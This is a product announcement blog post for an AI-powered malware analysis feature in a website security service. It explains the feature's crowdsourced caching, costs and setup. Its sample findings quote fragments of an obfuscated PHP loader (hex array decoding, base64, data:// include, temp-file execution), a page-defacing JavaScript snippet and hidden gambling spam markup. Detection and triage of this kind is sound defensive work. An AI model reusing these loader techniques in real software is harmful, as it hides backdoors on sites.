

# AI-Powered Malware Analysis Now Available in mySites.guru

Send flagged suspect files to Claude or GPT for instant malware analysis. Crowdsourced cached results shared across all subscribers.

Phil E. Taylor | 16 March 2026

You run a security audit on your Joomla site. Result? **47 files flagged as "Suspect Content."** OH NO!!!!!!

If you landed here because something looks wrong with your site, start by checking whether your WordPress site is actually hacked - then use our WordPress malware scanner as a starting point before you dig into this level of detail.

Which are actual malware? Which are false positives? Do you spend hours reviewing PHP code or wait days for expert analysis?

<a href="#">/wp-content/themes/mysites/node_modules/yargs-parser/README.md</a>	3 years ago	0755						
<a href="#">/wp-content/themes/mysites/node_modules/yargs/locales/tr.json</a>	3 years ago	0755						
<a href="#">/wp-content/themes/mysites/phpcs.xml.dist</a>	3 years ago							
<a href="#">/wp-content/themes/mysites/theme/functions.php</a>	12 months ago							

**AI-Powered Malware Analysis** - when our audit tools flag suspicious files, you can now send any file to AI for expert analysis with one click.

Results come back as plain verdicts:

- "This is a false positive – safe to ignore"
- "This is suspicious – review line 42"
- "This is malware – remove immediately"

The crowdsourced cached results change the economics: when you or anyone else analyzes a file with our AI integration and gets a definitive result (SAFE or MALWARE), that result is stored globally by file hash. If someone else already analyzed that file - same hash, same file contents - you get instant results at no cost. Your analyses help others and theirs help you.

*(No details on your domains, your site, or personal information is shared, the hash of the file contents and the result is all that we store)*

Example malware extracts from the AI analysis:

**Security Issues Found (7)**

**CRITICAL** Line 2  
**Obfuscated hexadecimal array containing encoded malicious payload**

```
$_=[0x350,0x344,0x339,0x377,0x361,0x348,0x341,0x34e,0x343,0x36e,0x34e,0x36c,0x363,0x333,0x34e,0x370,0x362,0x332,0x335,0x366,0x363,0
```

**CRITICAL** Line 3  
**Conversion of obfuscated hexadecimal values to characters**

```
$___="''; foreach($_ as $x){$___.=chr($x-0x300);}
```

**CRITICAL** Line 4  
**Base64 decoding of obfuscated payload**

```
$_=base64_decode($___);
```

**CRITICAL** Line 7  
**Dynamic code execution via data URL inclusion**

```
include 'data://text/plain;base64,' . base64_encode($_);
```

**CRITICAL** Line 19  
**File-based code execution as fallback method**

```
file_put_contents($tmp, $_); chmod($tmp, 0600); include $tmp; @unlink($tmp);
```

**Security Issues Found (4)**

**CRITICAL** Line 924  
**Malicious JavaScript keylogger that hijacks Ctrl+U keyboard shortcut to replace page content with external image, likely for phishing or content manipulation**

```
shortcut.add("Ctrl+U", function() {  
    document.body.innerHTML = ""; // hapus isi halaman  
    var img = document.createElement("img");  
    img.src = "https://tanpa-batas69.pro/gambar/nonokkau.jpg"; // ganti dengan URL gambar kamu  
    img.style.width = "100%";  
    img.style.height = "100vh";  
    img.style.objectFit = "contain";  
    document.body.appendChild(img);  
});
```

**HIGH** Line 1  
**File disguised as legitimate Steam page but contains gambling/slot machine content with numerous suspicious gambling links in hidden div**

```
<div style="display:none" data-nosnippet="true">
```

**HIGH** Line 30  
**Misleading meta descriptions promoting gambling services while masquerading as legitimate gaming content**

```
<meta name="Description" content="MAHJONG333 Slot dari PG Soft adalah game fenomenal, karena RTP tinggi & fitur gacor. Nikmati sensasi gampang mer
```

**Why did we wait to add AI?**

Every company rushed to add “AI-powered” to their product - chatbots that frustrated users, buzzwords without substance.

For over a decade, we’ve secured Joomla and WordPress sites. We knew our audit system worked well at finding threats, but it casts a wide net, meaning false positives. Users had to review code themselves or wait for us to review files manually.

We spent months testing: analyzed thousands of files, compared AI results against expert reviews, measured accuracy and cost-effectiveness. The question wasn’t whether AI was trendy - it was whether AI could reliably do what users struggle with: reading PHP code, identifying suspicious patterns, and separating legitimate code from malware. It can.

False positives have cost users hours of manual review for over a decade. This addresses that.

## **How does it work?**

### **The audit foundation**

For 10+ years, our security audit system has scanned filesystems using pattern-matching built from real-world hacks. It catches backdoors and malware most users would never find. By design, it flags suspicious files broadly - better to review a safe file than miss malware. Before you can spot the abnormal, it helps to know what’s normal - our guide to [hidden files lurking on your site](#) explains the dot-files most site owners don’t even know exist in their webspace.

### **AI analysis layer**

When audits flag files, you see a colored AI icon:

- ● Purple = Not analyzed
- ● Green = Safe
- ● Yellow = Suspicious
- ● Red = Malicious

Click to send the file to AI (Claude Sonnet 4.5 or GPT-4). Within seconds, get expert analysis with:

- Risk level and confidence score
- Exact line numbers of issues
- Code snippets and explanations
- Actionable recommendations

### 🔍 Analysis Results

<b>Risk Level</b> <span style="background-color: #f08080; padding: 5px; color: white; font-weight: bold;">MALICIOUS</span>	<b>Confidence</b> <span style="font-size: 1.5em; font-weight: bold;">95%</span>	<b>Findings</b> <span style="font-size: 2em; font-weight: bold;">7</span>
<b>Provider</b> claude / claude-sonnet-4-20250514	<b>Tokens Used</b> 43,966 (42,797 in / 1,169 out)	<b>Estimated Cost</b> \$0.0459

## Crowdsourced intelligence

Definitive results (SAFE/MALWARE) are stored globally by MD5 hash. Same file on 100 sites = 1 analysis, not 100. Popular WordPress plugins are likely already analyzed by the community. Your discoveries protect everyone else.

Over time, the crowdsourced results will sharpen our audit patterns - false-positive rates should drop as the dataset grows.

## What are the key benefits?

### Expert analysis without the expert

What took hours or days now takes seconds. No more waiting for manual reviews from Phil or trying to understand complex PHP code, or worse, ignoring or guessing!

Although Phil receives every analysis and can overrule the AI decision:

✓ **AI Analysis Overridden - File Marked as SAFE**

Admin review completed

#### **i Admin Decision**

An administrator has reviewed the AI malware analysis for this file and determined it is a **false positive**. The file has been marked as **SAFE** and added to the global whitelist.

**Original AI Assessment:** malicious → **SAFE**

## Cost savings at scale

You install a security plugin across 50 Joomla sites. First analysis costs a few cents. Other 49 sites? Instant cached results, zero cost. Managing 100 WordPress sites with WooCommerce? Most files already analyzed by the community—you might only need 2-3 new analyses.

## Accurate and trustworthy

Every analysis includes confidence scores (0-100%). 95% confidence "malicious" is very different from 60% "suspicious." The AI shows you exactly which lines are problematic and why. Admins can mark false positives, correcting the global cache for everyone.

## When should you use it?

- **Suspected breach:** Site sending spam? Run the Suspect Content audit and use AI to triage 47 flagged files in minutes instead of hours. Not yet connected? Run a free security audit to see what mySites.guru finds before you commit to a subscription.
- **Post-update verification:** Updated a plugin? AI confirms the modified files are legitimate, not tampered with.
- **Quarterly reviews:** Audit 100 sites. Common files already cached = instant results. Focus your time on new threats.
- **Pre-deployment:** Verify custom code is secure before going live.
- **Inherited sites:** 200 flagged files overwhelming you? AI prioritizes the 5 high-risk files, not 195 false positives.

## When should you NOT use it?

It's not 100% accurate - sophisticated malware might slip through, and legitimate code might be flagged. Use findings as a guide and verify critical decisions. Phil receives a written report for each AI lookup and will manually override bad AI decisions to prevent mistakes and poisoning the crowdsourced database.

It only works on text-based code (PHP, JS, etc.) - no images, PDFs, or compiled binaries.

Files over 200KB are sampled (first/middle/last sections), so threats in unsampled sections could be missed.

It's one layer, not the entire solution. Regular updates, strong passwords, and backups are still essential.

## How do you enable it?

1. Get API keys from [Anthropic](#) (for Claude) or [OpenAI](#) (for GPT)
2. Navigate to Account > AI Integration in mySites.guru, toggle "Enable AI Features", add your API key(s), and choose your preferred provider
3. Start analyzing - AI icons appear throughout File Manager, Suspect Content, and Modified Files tools

## AI Integration Configuration

Configuration

About AI Analysis

### AI Provider Settings

#### Configure Your AI Provider

Configure which AI provider you'd like to use for malware analysis and provide your API key.

Enable AI Integration

Enable or disable AI-powered malware analysis across your account

AI Provider

Claude (Anthropic)

Select which AI provider to use for malware analysis

AI Model

👛 Claude Sonnet 4 (RECOMMENDED - Best for PHP/Symfony)

👛 = Best value (recommended). ⚡ = Ultra-cheap (high volume). 🚀 = Premium (maximum capability). See pricing guide below.

API Key

sk-...

Enter your AI provider API key. This will be encrypted and stored securely.

**No API Key:** Please configure an API key to enable AI malware analysis.

Save AI Configuration

## What does it cost?

We do not charge you for this integration - like everything in mySites.guru, you pay your monthly subscription and I invest DAILY into the best platform available today - just like

I have done since launching in 2012, **without a single price increase since we launched!** Name me another service that does that?

To use AI analysis, you provide your own API keys from Anthropic (Claude) or OpenAI (GPT). Your data goes directly to your chosen provider using your own account-mySites.guru never charges for AI usage and your API keys are encrypted for your security.

**Typical costs:** \$0.01-0.05 per file analysis, paid directly to Anthropic or OpenAI.

**The advantage:** Global caching means you rarely pay twice. Same file content across all your sites = one analysis, infinite reuse. Someone else already analyzed that WordPress plugin? You get cached results at zero cost.

For most users managing typical site portfolios, monthly AI costs are minimal-often less than one security audit consultation.

## Get Started

AI-Powered Malware Analysis is available now for all mySites.guru users.

1. Log in to your account
2. Enable AI Features in Account → AI Integration
3. Start analyzing files

This feature is covered in our [agency security guide](#).

# Frequently Asked Questions

## **How does the AI malware analysis in mySites.guru work?**

When a security audit flags suspicious files, you can send any file to Claude or GPT with one click and receive an analysis in seconds that identifies the risk level, problematic line numbers, and recommended action.

## **Does mySites.guru charge extra for the AI malware analysis feature?**

No - mySites.guru does not charge for the integration; you provide your own Anthropic or OpenAI API key and pay those providers directly, typically \$0.01–\$0.05 per file analysis.

## **What is the crowdsourced caching benefit in the AI analysis feature?**

When any subscriber analyzes a file and gets a definitive result, that result is stored globally by file hash so all other users with the same file get instant free results - your analyses protect the entire community.
